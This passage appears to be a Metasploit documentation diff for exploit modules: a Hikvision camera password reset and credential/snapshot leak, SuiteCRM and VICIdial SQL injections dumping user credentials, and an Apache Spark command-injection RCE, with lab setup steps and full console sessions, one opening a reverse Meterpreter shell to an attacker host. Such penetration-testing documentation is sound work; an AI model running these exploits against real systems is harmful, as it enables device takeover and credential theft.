[1]: https://en.wikipedia.org/wiki/COFF
[2]: https://github.com/Cobalt-Strike/bof_template/blob/4a5009fc4adeb35bb1b1887da478280f12f9693a/beacon.h
[3]: https://github.com/TrustedSec/COFFLoader
[4]: https://github.com/trustedsec/CS-Situational-Awareness-BOF/tree/master/src/SA/dir
[5]: https://github.com/helpsystems/nanodump
[6]: https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/beacon-object-files_main.htm
[7]: https://github.com/trustedsec/CS-Situational-Awareness-BOF
+8
View File
@@ -211,6 +211,10 @@ NAVIGATION_CONFIG = [
path: 'Meterpreter-Debugging-Meterpreter-Sessions.md',
title: without_prefix('Meterpreter ')
},
{
path: 'Meterpreter-ExecuteBof-Command.md',
title: without_prefix('Meterpreter ')
},
{
path: 'How-to-get-started-with-writing-a-Meterpreter-script.md'
},
@@ -438,6 +442,10 @@ NAVIGATION_CONFIG = [
path: 'How-to-use-PhpEXE-to-exploit-an-arbitrary-file-upload-bug.md',
title: 'PhpExe'
},
{
path: 'How-to-use-the-Git-mixin-to-write-an-exploit-module.md',
title: 'Git Mixin'
},
{
title: 'HTTP',
folder: 'http',
@@ -0,0 +1,116 @@
## Vulnerable Application
Many Hikvision IP cameras contain improper authentication logic that allow unauthenticated impersonation of any
configured user account. This allows an attacker to bypass all security on the camera and
gain full admin access, allowing them to thereby completely control the camera and modify
any setting or retrieve sensitive information.
This module allows the attacker to perform an unauthenticated password change on
any vulnerable Hikvision IP Camera by utilizing the improper authentication logic to
send a request to the server which contains an `auth` parameter in the query string
containing a Base64 encoded version of the authorization in `username:password` format.
Vulnerable cameras will ignore the `username` parameter and will instead use the username
part of this string as the user to log in as. This can then be used to gain full
administrative access to the affected device.
The vulnerability has been present in Hikvision products since 2014.
In addition to Hikvision-branded devices, it affects many white-labeled
camera products sold under a variety of brand names.
Below is a list of vulnerable firmware, but many other white-labelled versions might be vulnerable.
* DS-2CD2xx2F-I Series: V5.2.0 build 140721 to V5.4.0 build 160530
* DS-2CD2xx0F-I Series: V5.2.0 build 140721 to V5.4.0 Build 160401
* DS-2CD2xx2FWD Series: V5.3.1 build 150410 to V5.4.4 Build 161125
* DS-2CD4x2xFWD Series: V5.2.0 build 140721 to V5.4.0 Build 160414
* DS-2CD4xx5 Series: V5.2.0 build 140721 to V5.4.0 Build 160421
* DS-2DFx Series: V5.2.0 build 140805 to V5.4.5 Build 160928
* DS-2CD63xx Series: V5.0.9 build 140305 to V5.3.5 Build 160106
Installing a vulnerable test bed requires a Hikvision camera with the vulnerable firmware loaded.
This module has been tested against a Hikvision camera with the specifications listed below:
* MANUFACTURER: Hikvision.China
* MODEL: DS-2CD2142FWD-IS
* FIRMWARE VERSION: V5.4.1
* FIRMWARE RELEASE: build 160525
* BOOT VERSION: V1.3.4
* BOOT RELEASE: 100316
## Verification Steps
1. `use auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921`
1. `set RHOSTS <TARGET HOSTS>`
1. `set RPORT <port>`
1. `set USERNAME <name of user>`
1. `set PASSWORD <new password>`
1. `check`
1. `set ID <id of user whose password you want to reset from "check" output>`
1. `run`
1. You should get a message that the password for the user has been successfully changed.
## Options
### STORE_CRED
This option allows you to store the user and password credentials in the Metasploit database for further use.
## Scenarios
### Hikvision DS-2CD2142FWD-IS Firmware Version V5.4.1 build 160525
```
msf6 > use auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921
msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set RHOSTS 192.168.100.180
RHOSTS => 192.168.100.180
msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set USERNAME admin
USERNAME => admin
msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set PASSWORD Pa$$W0rd
PASSWORD => Pa$$W0rd
msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set ID 1
ID => 1
msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set STORE_CRED true
STORE_CRED => true
msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > options
Module options (auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921):
Name Current Setting Required Description
---- --------------- -------- -----------
ID 1 yes ID (default 1 for admin)
PASSWORD Pa$$W0rd yes New Password (at least 2 UPPERCASE, 2 lowercase and 2 special characters
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.100.180 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploi
t
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
STORE_CRED true no Store credential into the database.
USERNAME admin yes Username for password change
VHOST no HTTP server virtual host
msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > check
[*] Following users are available for password reset...
[*] USERNAME:admin | ID:1 | ROLE:Administrator
[*] USERNAME:admln | ID:2 | ROLE:Operator
[+] 192.168.100.180:80 - The target is vulnerable.
msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > run
[*] Running module against 192.168.100.180
[*] Following users are available for password reset...
[*] USERNAME:admin | ID:1 | ROLE:Administrator
[*] USERNAME:admln | ID:2 | ROLE:Operator
[*] Starting the password reset for admin...
[+] Password reset for admin was successfully completed!
[*] Please log in with your new password: Pa$$W0rd
[*] Credentials for admin were added to the database...
[*] Auxiliary module execution completed
msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset) > creds -O 192.168.100.180
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
192.168.100.180 192.168.100.180 80/tcp (http) admin Pa$$W0rd Password
msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921)
```
@@ -0,0 +1,167 @@
## Vulnerable Application
Many Hikvision IP cameras have improper authorization logic that allows unauthenticated information disclosure
of camera information, such as detailed hardware and software configuration, user credentials, and camera snapshots.
This module allows the attacker to disclose this information without the need of authenticaton by utilizing the
improper authentication logic to send a request to the server which contains an `auth` parameter in the query string
containing a Base64 encoded version of the authorization in `username:password` format.
Vulnerable cameras will ignore the `password` parameter and will instead use the username part of this string
as the user to log in. Using user `admin` will allow an attacker to retrieve and disclose any information
of the targeted device.
The vulnerability has been present in Hikvision products since 2014.
In addition to Hikvision-branded devices, it affects many white-labeled camera products sold under a variety of brand names.
Below is a list of vulnerable firmware, but many other white-labelled versions might be vulnerable.
* DS-2CD2xx2F-I Series: V5.2.0 build 140721 to V5.4.0 build 160530
* DS-2CD2xx0F-I Series: V5.2.0 build 140721 to V5.4.0 Build 160401
* DS-2CD2xx2FWD Series: V5.3.1 build 150410 to V5.4.4 Build 161125
* DS-2CD4x2xFWD Series: V5.2.0 build 140721 to V5.4.0 Build 160414
* DS-2CD4xx5 Series: V5.2.0 build 140721 to V5.4.0 Build 160421
* DS-2DFx Series: V5.2.0 build 140805 to V5.4.5 Build 160928
* DS-2CD63xx Series: V5.0.9 build 140305 to V5.3.5 Build 160106
Installing a vulnerable test bed requires a Hikvision camera with the vulnerable firmware loaded.
## Verification Steps
This module has been tested against a Hikvision camera with the specifications listed below:
* MANUFACTURER: Hikvision.China
* MODEL: DS-2CD2142FWD-IS
* FIRMWARE VERSION: V5.4.1
* FIRMWARE RELEASE: build 160525
* BOOT VERSION: V1.3.4
* BOOT RELEASE: 100316
1. `use auxiliary/gather/hikvision_info_disclosure_cve_2017_7921`
1. `set RHOSTS <TARGET HOSTS>`
1. `set RPORT <port>`
1. `check`
1. `set PRINT true`
1. `set ACTION Automatic`
1. `run`
1. You should get a full disclosure of all camera information supported by this module.
## Options
### PRINT
This option allows you print all information collected to the console during execution except for
camera snapshots.
## Actions
### Automatic
Retrieves all information suported by this module
### Configuration
Retrieves the camera hardware and software configuration
### Credentials
Retrieves all configured users including the passwords in plain text format and stores them in the database.
This can be checked by using the command `creds -O <target IP>` at the Metasploit prompt.
### Snapshot
Takes a camera snapshot and stores it as a JPEG file in loot.
All information disclosed is by default stored in loot
## Scenarios
### Hikvision Camera DS-2CD2142FWD-IS -> firmware version V5.4.1, build 160525
```
msf6 auxiliary(gather/hikvision_info_disclosure_cve_2017_7921) > set rhosts 192.168.100.180
rhosts => 192.168.100.180
msf6 auxiliary(gather/hikvision_info_disclosure_cve_2017_7921) > set ACTION Automatic
ACTION => Automatic
msf6 auxiliary(gather/hikvision_info_disclosure_cve_2017_7921) > set PRINT true
PRINT => true
msf6 auxiliary(gather/hikvision_info_disclosure_cve_2017_7921) > options
Module options (auxiliary/gather/hikvision_info_disclosure_cve_2017_7921):
Name Current Setting Required Description
---- --------------- -------- -----------
PRINT true no Print output to console (not applicable for snapshot)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.100.180 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Auxiliary action:
Name Description
---- -----------
Automatic Dump all information
msf6 auxiliary(gather/hikvision_info_disclosure_cve_2017_7921) > check
[+] 192.168.100.180:80 - The target is vulnerable.
msf6 auxiliary(gather/hikvision_info_disclosure_cve_2017_7921) > run
[*] Running module against 192.168.100.180
[*] Running in automatic mode
[*] Getting the user credentials...
[*] Credentials for user:admin are added to the database...
[*] Credentials for user:admln are added to the database...
[*] User Credentials Information:
-----------------------------
Username:admin | ID:1 | Role:Administrator | Password: Pa$$W0rd
Username:admln | ID:2 | Role:Operator | Password: asdf1234
[+] User credentials are successfully saved to /root/.msf4/loot/20221002172346_default_192.168.100.180_hikvision.creden_049224.txt
[*] Getting the camera hardware and software configuration...
[*] Camera Device Information:
--------------------------
Device name: IP CAMERA
Device ID: 88
Device description: IPCamera
Device manufacturer: Hikvision.China
Device model: DS-2CD2142FWD-IS
Device S/N: DS-2CD2142FWD-IS2016HS77777777777
Device MAC: bc:ad:28:ff:ff:ff
Device firware version: V5.4.1
Device firmware release: build 160525
Device boot version: V1.3.4
Device boot release: 100316
Device hardware version: 0x0
Camera Network Information:
---------------------------
IP interface: 1
IP version: v4
IP assignment: static
IP address: 192.168.100.180
IP subnet mask: 255.255.255.0
Default gateway: 192.168.100.1
Primary DNS: 8.8.8.8
Camera Storage Information:
---------------------------
Storage volume name: HDD1
Storage volume ID: 1
Storage volume description: DAS
Storage device: HDD
Storage type: internal
Storage capacity (MB): 30543
Storage device status: HD_NORMAL
[+] Camera configuration details are successfully saved to /root/.msf4/loot/20221002172347_default_192.168.100.180_hikvision.config_549113.txt
[*] Taking a camera snapshot...
[+] Camera snapshot is successfully saved to /root/.msf4/loot/20221002172348_default_192.168.100.180_hikvision.image_963468.bin
[*] Auxiliary module execution completed
msf6 auxiliary(gather/hikvision_info_disclosure_cve_2017_7921) > creds -O 192.168.100.180
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
192.168.100.180 192.168.100.180 80/tcp (http) admln asdf1234 Password
192.168.100.180 192.168.100.180 80/tcp (http) admin Pa$$W0rd Password
msf6 auxiliary(gather/hikvision_info_disclosure_cve_2017_7921) >
```
## Limitations
No limitations are identified so far using this module.
@@ -0,0 +1,195 @@
## Description
This module exploits an authenticated SQL injection in SuiteCRM installations below or equal to version 7.12.5. The
vulnerability allows for union and blind boolean based SQLi to be exploited in order to collect usernames and password
hashes from the SuiteCRM database.
## Vulnerable Application
The SQLi exploited by this module depends on the existence of at least one 'Account' being registered in SuiteCRM.
There should be one in SuiteCRM by default for the administrative user. If you want to test multiple users,
browse to `/index.php?module=Users&action=index` and then click the `Create New User` button on the left side
of the screen. Then enter a username and a last name. Then click the `password` tab, and enter a password for
the user, then confirm this password and click the `Save` button to create the user.
### Docker compose
**Prerequisites:** [Docker](https://docs.docker.com/get-docker/) and
[Docker Compose](https://docs.docker.com/compose/install/) must be
installed first.
To create a SuiteCRM 7.12.5 Docker container, first create a new folder,
then save the following content as `docker-compose.yml`:
```
version: '2'
services:
mariadb:
image: docker.io/bitnami/mariadb:10.6
environment:
# ALLOW_EMPTY_PASSWORD is recommended only for development.
- ALLOW_EMPTY_PASSWORD=yes
- MARIADB_USER=bn_suitecrm
- MARIADB_DATABASE=bitnami_suitecrm
- MARIADB_PASSWORD=bitnami123
volumes:
- 'mariadb_data:/bitnami/mariadb'
suitecrm:
image: docker.io/bitnami/suitecrm:7.12.5
ports:
- '80:8080'
- '443:8443'
environment:
- SUITECRM_DATABASE_HOST=mariadb
- SUITECRM_DATABASE_PORT_NUMBER=3306
- SUITECRM_DATABASE_USER=bn_suitecrm
- SUITECRM_DATABASE_NAME=bitnami_suitecrm
- SUITECRM_DATABASE_PASSWORD=bitnami123
# ALLOW_EMPTY_PASSWORD is recommended only for development.
- ALLOW_EMPTY_PASSWORD=yes
volumes:
- 'suitecrm_data:/bitnami/suitecrm'
depends_on:
- mariadb
volumes:
mariadb_data:
driver: local
suitecrm_data:
driver: local
```
Finally, in the same directory as the `docker-compose.yml` file, run: `docker-compose up -d`.
Note that the default username to log in will be `user` and the password will be `bitnami`. If you
want to change these, put the following lines under the `environment` section:
```
environment:
- SUITECRM_USERNAME=my_user
- SUITECRM_PASSWORD=my_password
```
The above would set the username to `my_user` and the password to `my_password`.
For more information on the docker compose file, refer to
https://github.com/bitnami/containers/tree/main/bitnami/suitecrm.
### Install from source
Source code can be found here: [SuiteCRM v7.12.5](https://github.com/salesagility/SuiteCRM/archive/refs/tags/v7.12.5.tar.gz)
Instructions on installing from source can be found here: [Installation Guide](https://docs.suitecrm.com/admin/installation-guide/downloading-installing/)
The following setup was installed on Ubuntu 20.04:
1. Setup and install MySQL:
1. `sudo apt update`
1. `sudo apt install mysql-server`
1. `sudo systemctl start mysql.service`
1. `sudo mysql` (open the mysql prompt)
1. `mysql> ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'password';` (change the password
of the root user)
1. Install Apache
1. `sudo apt install apache2`
1. `sudo systemctl enable apache2`
1. `sudo systemctl start apache2`
1. Install php and its dependencies
1. `sudo apt -y install php7.4`
1. `sudo apt install -y php-cli php-common php-curl php-mbstring php-gd php-mysql php-soap php-xml php-imap php-intl php-opcache php-json php-zip`
1. `sudo apt install composer`
1. `composer install`
1. Setup and install SuiteCRM 7.12.5
1. `wget https://github.com/salesagility/SuiteCRM/archive/refs/tags/v7.12.5.tar.gz`
1. `gunzip v7.12.5.tar.gz`
1. `tar -xvf v7.12.5.tar`
1. `sudo cp -r SuiteCRM-7.12.5/. /var/www/html`
1. `cd /var/www/html`
1. `sudo chown -R www-data:www-data .`
1. `sudo chmod -R 755 .`
1. `sudo chmod -R 775 custom modules themes data upload`
1. `sudo chmod 775 config_override.php 2>/dev/null`
1. Navigate to http://localhost/install.php and follow the installation wizard to complete the install
## Verification Steps
1. Start up metasploit
1. Do: `use auxiliary/gather/suite_crm_export_sqli`
1. Do: `set RHOSTS [IP]`
1. Configure a user and password by setting `USERNAME` and `PASSWORD`.
1. Do: `run`
## Scenarios
### SuiteCRM 7.12.5 Bitnami Docker Image
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/suite_crm_export_sqli
msf6 auxiliary(gather/suite_crm_export_sqli) > show options
Module options (auxiliary/gather/suite_crm_export_sqli):
Name Current Setting Required Description
---- --------------- -------- -----------
COUNT 3 no Number of users to enumerate
PASSWORD yes Password for user
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasp
loit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
USERNAME yes Username of user
VHOST no HTTP server virtual host
Auxiliary action:
Name Description
---- -----------
Dump credentials Dumps usernames and passwords from the users table
msf6 auxiliary(gather/suite_crm_export_sqli) > set USERNAME user
USERNAME => user
msf6 auxiliary(gather/suite_crm_export_sqli) > set PASSWORD bitnami
PASSWORD => bitnami
msf6 auxiliary(gather/suite_crm_export_sqli) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(gather/suite_crm_export_sqli) > check
[*] Authenticating as user
[+] Authenticated as: user
[*] Version detected: 7.12.5
[+] 127.0.0.1:80 - The target is vulnerable.
msf6 auxiliary(gather/suite_crm_export_sqli) > run
[*] Running module against 127.0.0.1
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Authenticating as user
[+] Authenticated as: user
[*] Version detected: 7.12.5
[+] The target is vulnerable.
[*] Fetching Users, please wait...
SuiteCRM User Names
===================
Username
--------
testuser
user
[*] Fetching Hashes, please wait...
[+] (1/2) Username : testuser ; Hash : $2y$10$YFr9.QNPVDXoLKv5FQo7d.UIRBSMTnPGDS2LLHsuGSojAA2Q5kELa
[+] (2/2) Username : user ; Hash : $2y$10$O83wcCVEfY7GKo//dbQwwOFOevfLFnhpP4d9n98HmGM2YPxJZqMhO
SuiteCRM User Credentials
=========================
Username Hash
-------- ----
testuser $2y$10$YFr9.QNPVDXoLKv5FQo7d.UIRBSMTnPGDS2LLHsuGSojAA2Q5kELa
user $2y$10$O83wcCVEfY7GKo//dbQwwOFOevfLFnhpP4d9n98HmGM2YPxJZqMhO
[*] Auxiliary module execution completed
msf6 auxiliary(gather/suite_crm_export_sqli) >
```
@@ -5,6 +5,8 @@ default username and password. Tested against Dell Remote Access:
- Controller 6 - Express version 1.50 and 1.85,
- Controller 7 - Enterprise 2.63.60.62
- Controller 8 - Enterprise 2.83.05
- Controller 9 - Enterprise 4.40.00.00
## Verification Steps
@@ -0,0 +1,212 @@
## Vulnerable Application
This module exploits several authenticated SQL Inject vulnerabilities in VICIdial 2.14b0.5 prior to
svn/trunk revision 3555 (VICIBox 10.0.0, prior to January 20 is vulnerable).
- Injection point 1 is on vicidial/admin.php when adding a user, in the modify_email_accounts parameter.
- Injection point 2 is on vicidial/admin.php when adding a user, in the access_recordings parameter.
- Injection point 3 is on vicidial/admin.php when adding a user, in the agentcall_email parameter.
- Injection point 4 is on vicidial/AST_agent_time_sheet.php when adding a user, in the agent parameter.
- Injection point 5 is on vicidial/user_stats.php when adding a user, in the file_download parameter.
| | v9.0.3 | v10.0.0 |
| ----------------------------------------- | ------------------------------ | ------------------------------ |
| List Users - access_recordings method | X | X |
| List Users - agent_time_sheet method | `view reports` must be enabled | `view reports` must be enabled |
| List Users - agentcall_email method | X | X |
| List Users - modify_email_accounts method | X | X |
| List Users - user_stats method | `view reports` must be enabled | `view reports` must be enabled |
VICIdial does not encrypt passwords by default.
VICIBox/VICIdial includes an auto-update mechanism, so be aware for creating vulnerable boxes.
### Install
#### 9.0.3 & 10.0.0
1. Install the following OpenSUSE 10 ISO [ViciBox_v9.x86_64-9.0.3.iso](http://download.vicidial.com/iso/vicibox/server/ViciBox_v9.x86_64-9.0.3.iso)
or [ViciBox_v10.x86_64-10.0.0.iso](http://download.vicidial.com/iso/vicibox/server/archive/ViciBox_v10.x86_64-10.0.0.iso) :
1. Change the default password (`root`:`vicidial`)
2. Set Timezone, Keyboard Layout, ok the license, and Language
3. Network settings should autoconfigure (Tested on VMware Fusion). Network settings can be configured with the
command `yast lan` if necessary
2. Run `vicibox-express` to initiate the ViciDial Express Installation, everything can be kept as default
3. Navigate to `http://<ip-address>/`
1. Click `Administration` and login with default credentials username: `6666`, password: `1234`
2. Once logged in, Click `Continue on to the Initial Setup`. Everything can be kept as default.
4. The complete list of setup instructions can be found by following this [link](http://download.vicidial.com/iso/vicibox/server/ViciBox_v9-install.pdf)
## Verification Steps
1. Start msfconsole
1. Do: `use auxiliary/scanner/http/vicidial_multiple_sqli`
1. Do: `set username <username>`
1. Do: `set password <password>`
1. Do `show actions`
1. Select from the list or keep the default
1. Do: `run`
1. The module will exploit the selected SQL injection and return the extracted usernames and passwords
## Options
### Password
Password for the vicidial instance that corresponds to the username.
### Username
Username for the user to login with. Defaults to admin username of `6666`.
## Scenarios
### ViciBox 9.0.3 - List Users - modify_email_accounts method
```
msf6 use auxiliary/scanner/http/vicidial_multiple_sqli
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true
verbose => true
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword
password => notpassword
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - modify_email_accounts method
action => List Users - modify_email_accounts method
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > run
[*] Enumerating Usernames and Password Hashes
[*] {SQLi} Executing (select group_concat(TXMlUAF) from (select cast(concat_ws(';',ifnull(user,''),ifnull(pass,'')) as binary) TXMlUAF from vicidial_users limit 3) jUFFwQn)
[*] {SQLi} Encoded to (select group_concat(TXMlUAF) from (select cast(concat_ws(0x3b,ifnull(user,repeat(0x87,0)),ifnull(pass,repeat(0x52,0))) as binary) TXMlUAF from vicidial_users limit 3) jUFFwQn)
[*] {SQLi} Time-based injection: expecting output of length 46
[!] No active DB -- Credential data will not be saved!
[+] Dumped table contents:
vicidial_users
==============
user pass
---- ----
6666 notpassword
VDAD donotedit
VDCL donotedit
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
### ViciBox 9.0.3 - List Users - access_recordings method
```
msf6 use auxiliary/scanner/http/vicidial_multiple_sqli
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true
verbose => true
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword
password => notpassword
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - access_recordings method
action => List Users - access_recordings method
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > run
[*] Enumerating Usernames and Password Hashes
[+] Dumped table contents:
vicidial_users
==============
user pass
---- ----
6666 notpassword
VDAD donotedit
VDCL donotedit
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
### ViciBox 9.0.3 - List Users - agent_time_sheet method
```
msf6 use auxiliary/scanner/http/vicidial_multiple_sqli
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true
verbose => true
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword
password => notpassword
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - agent_time_sheet method
action => List Users - agent_time_sheet method
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > run
[*] Enumerating Usernames and Password Hashes
[+] Dumped table contents:
vicidial_users
==============
user pass
---- ----
6666 notpassword
VDAD donotedit
VDCL donotedit
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
### ViciBox 9.0.3 - List Users - agentcall_email method
```
msf6 use auxiliary/scanner/http/vicidial_multiple_sqli
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true
verbose => true
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword
password => notpassword
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - agentcall_email method
action => List Users - agentcall_email method
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > run
[*] Enumerating Usernames and Password Hashes
[+] Dumped table contents:
vicidial_users
==============
user pass
---- ----
6666 notpassword
VDAD donotedit
VDCL donotedit
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
### ViciBox 9.0.3 - List Users - user_stats method
```
msf6 use auxiliary/scanner/http/vicidial_multiple_sqli
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true
verbose => true
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword
password => notpassword
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - user_stats method
action => List Users - user_stats method
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > run
[*] Enumerating Usernames and Password Hashes
[+] Dumped table contents:
vicidial_users
==============
user pass
---- ----
6666 notpassword
VDAD donotedit
VDCL donotedit
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,184 @@
## Vulnerable Application
This module exploits a remote code execution vulnerability (CVE-2022-33891) of Apache Spark.
The Apache Spark UI offers the possibility to enable ACLs via the configuration option `spark.acls.enable`.
With an authentication filter, this checks whether a user has access permissions to view or modify the application.
The permission check is coded using a bash command shell and the unix id command that allows a malicious shell command injection.
Ironically the `spark.acls.enable` configuration setting is designed to improve the security access within the Spark application,
but unfortunately this configuration setting triggers the vulnerable code below.
```
private def getUnixGroups(username: String): Set[String] = {
val cmdSeq = Seq("bash", "-c", "id -Gn " + username)
// we need to get rid of the trailing "\n" from the result of command execution
Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(" ").toSet
Utils.executeAndGetOutput(idPath :: "-Gn" :: username :: Nil).stripLineEnd.split(" ").toSet
}
}
```
This will result in arbitrary shell command execution as the user `Spark`.
This affects Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1
Installing a vulnerable version of Apache Spark to test this vulnerability is quite easy.
To set the server up use the following docker-compose.yml file and follow the steps below:
```
version: '2'
services:
spark:
image: docker.io/bitnami/spark:3.1.1
environment:
- SPARK_MODE=master
- SPARK_RPC_AUTHENTICATION_ENABLED=no
- SPARK_RPC_ENCRYPTION_ENABLED=no
- SPARK_LOCAL_STORAGE_ENCRYPTION_ENABLED=no
- SPARK_SSL_ENABLED=no
ports:
- '8080:8080'
```
1. Create the docker-compose.yml in your preferred directory and run `docker-compose up`. Let the container spin up.
1. In a new terminal, enter `sudo docker exec -it spark_spark_1 /bin/bash`
1. In the container bash session, enter: `echo "spark.acls.enable true" >> conf/spark-defaults.conf`
1. cat the contents of spark-defaults.conf to make sure it looks good.
1. Exit the interactive bash shell and Ctrl-C your docker-compose process.
1. Once the containers have powered down gracefully, rerun `docker-compose up`
Once the server and application is up, it's vulnerable and you can access it on port 8080 for testing...
## Verification Steps
1. `use exploit/linux/http/apache_spark_rce_cve_2022_33891`
1. `set RHOSTS <TARGET HOSTS>`
1. `set LHOST <Address of Attacking Machine>`
1. `exploit`
1. You should get a shell or meterpreter as the `spark` user.
## Options
No specific options to be set.
## Scenarios
### Apache Spark version 3.1.1 on Linux 5.10.104-linuxkit with spark.acls.enable set to true
```
msf6 > use exploit/linux/http/apache_spark_rce_cve_2022_33891
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set lhost 192.168.100.7
lhost => 192.168.100.7
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set rhosts 192.168.100.43
rhosts => 192.168.100.43
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > options
Module options (exploit/linux/http/apache_spark_rce_cve_2022_33891):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.100.43 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI of the vulnerable instance
VHOST no HTTP server virtual host
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.100.7 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix (In-Memory)
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > exploit
[*] Started reverse TCP handler on 192.168.100.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.100.43:8080 can be exploited!
[*] Perform sleep test of 10 seconds...
[+] The target is vulnerable. Sleep was around 10 seconds [10.033867019]!
[*] Exploiting...
[*] Sending stage (40164 bytes) to 192.168.100.43
[-] Meterpreter session 3 is not valid and will be closed
[*] 192.168.100.43 - Meterpreter session 3 closed.
[*] Sending stage (40168 bytes) to 192.168.100.43
[*] Meterpreter session 4 opened (192.168.100.7:4444 -> 192.168.100.43:62618) at 2022-08-26 10:49:46 +0000
meterpreter > sysinfo
Computer : 7a26a9fb7ce3
OS : Linux 5.10.104-linuxkit #1 SMP Thu Mar 17 17:08:06 UTC 2022
Architecture : x64
Meterpreter : python/linux
meterpreter > getuid
Server username: spark
```
### Apache Spark version 3.1.1 on Linux 5.10.104-linuxkit WITHOUT the spark.acls.enable option
Note: This version is vulnerable, however the `spark.acls.enable` option is not set, hence the vulnerable code will not be triggered.
Response on POST payload request will be 200 instead of 403.
```
msf6 > use exploit/linux/http/apache_spark_rce_cve_2022_33891
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set lhost 192.168.100.7
lhost => 192.168.100.7
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set rhosts 192.168.100.43
rhosts => 192.168.100.43
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > options
Module options (exploit/linux/http/apache_spark_rce_cve_2022_33891):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
